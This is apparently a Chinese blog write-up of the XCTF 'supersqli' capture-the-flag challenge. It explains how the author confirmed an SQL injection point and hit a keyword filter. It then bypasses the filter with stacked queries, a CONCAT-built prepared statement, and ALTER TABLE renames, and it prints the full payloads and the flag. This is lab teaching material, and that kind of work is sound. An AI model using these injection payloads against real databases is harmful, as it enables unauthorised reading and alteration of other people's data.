XCTF题目 supersqli 的做题思路

在输入框提交后浏览器自动进行URL编码。若在hackbar中,则需要手动进行URL编码。
在这里插入图片描述尝试: 1’ –
显示结果
在这里插入图片描述于是修改为 1’#
显示:
在这里插入图片描述正常情况下输入

一:					1
二:					1' and 1=1						
三:					1'and 1=2 		

若一、二、三都为真,则存在注入点。
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
经测试,存在注入点。
然后 通过order by测试一共有多少列。
在这里插入图片描述
在这里插入图片描述经过测试,一共又两列。
然后输入1' union select database(),user() #
显示:
在这里插入图片描述
发现对select、update、delete、drop、insert、where、. ,这些字符和单词进行了过滤。
尝试绕过:
1.将select改为SElect
2.select 改为 sele/**/ct
3.select 改为 sele%ct
三种情况发现都无法进行绕过

于是考虑堆叠注入。
输入1';show tables;成功。
在这里插入图片描述显示表的内容,然后进行查看表的列数。
分别输入
1'; show columns from ` 1919810931114514 ` ; #
在这里插入图片描述
1'; show columns from ` words ` ; #
在这里插入图片描述然后大致了解情况,看到flag在1919810931114514表中,
于是通过预编译查看,预编译主要代码如下:

	Set @sql = CONCAT('se','lect * from `1919810931114514`;');
	Prepare stmt from @sql;
	EXECUTE stmt;

输入1’;Set @sql = CONCAT(‘se’,‘lect * from ` 1919810931114514`;’); Prepare stmt from @sql; EXECUTE stmt; #
看到flag。
在这里插入图片描述
flag 为flag{c168d583ed0d4d7196967b28cbd0b5e9}

第二种方法
绕过select还有第二个方法,更改表名列名。通过上面的表的列数可以大致猜到查询的表为words,我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终payload如下:

输入:

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然后在输入框输入1即可查询出flag
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章